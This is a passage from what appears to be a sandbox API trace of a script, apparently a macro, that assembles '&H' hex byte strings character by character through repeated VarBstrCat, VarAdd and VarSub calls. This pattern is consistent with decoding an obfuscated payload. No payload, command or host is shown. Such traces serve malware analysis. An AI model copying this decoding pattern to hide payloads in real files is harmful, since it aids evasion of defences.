(in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.614] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.614] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.614] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.614] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.614] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.614] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.614] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.614] VarBstrCat (in: bstrLeft="&H7", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.614] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.615] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.615] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.615] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.615] VarBstrCat (in: bstrLeft="&H5", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.615] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.615] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.615] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.615] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.615] VarBstrCat (in: bstrLeft="&Hb", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.615] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.616] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.616] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.616] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.616] VarBstrCat (in: bstrLeft="&H0", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.616] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.616] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.616] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.616] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.616] VarBstrCat (in: bstrLeft="&H3", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.616] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.617] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.617] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.617] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.617] VarBstrCat (in: bstrLeft="&H5", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.617] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.618] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.618] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.618] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.618] VarBstrCat (in: bstrLeft="&H6", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.618] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.618] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.618] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.618] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.618] VarBstrCat (in: bstrLeft="&H0", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.618] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.619] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.619] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.619] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.619] VarBstrCat (in: bstrLeft="&H3", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.619] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.619] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.619] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.619] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.619] VarBstrCat (in: bstrLeft="&H9", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.619] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.620] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.620] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.620] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.620] VarBstrCat (in: bstrLeft="&H9", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.620] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.620] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.620] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.620] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.620] VarBstrCat (in: bstrLeft="&Hf", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.620] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.620] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.621] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.621] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.621] VarBstrCat (in: bstrLeft="&H3", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.621] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.621] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.621] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.621] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.621] VarBstrCat (in: bstrLeft="&H6", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.621] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.621] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.621] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.622] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.622] VarBstrCat (in: bstrLeft="&H4", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.622] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.628] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.628] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.628] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.628] VarBstrCat (in: bstrLeft="&H8", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.628] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.628] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.628] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.628] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.628] VarBstrCat (in: bstrLeft="&Hc", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.628] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H2", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.629] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H6", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.629] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.629] VarBstrCat (in: bstrLeft="&H2", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&He", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&H5", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.630] VarBstrCat (in: bstrLeft="&H4", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&H2", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&H0", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.631] VarBstrCat (in: bstrLeft="&Ha", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&Hf", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&Hc", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.632] VarBstrCat (in: bstrLeft="&H0", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.633] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.633] VarBstrCat (in: bstrLeft="&H0", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.633] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.633] VarBstrCat (in: bstrLeft="&H6", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.633] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.633] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.634] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarBstrCat (in: bstrLeft="&H5", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.634] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarBstrCat (in: bstrLeft="&H9", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.634] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.634] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&H3", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.635] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.635] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&Hd", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.635] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.635] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarBstrCat (in: bstrLeft="&He", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.635] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.635] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H1", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.636] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H0", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.636] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarBstrCat (in: bstrLeft="&H5", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.636] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.637] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.637] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, 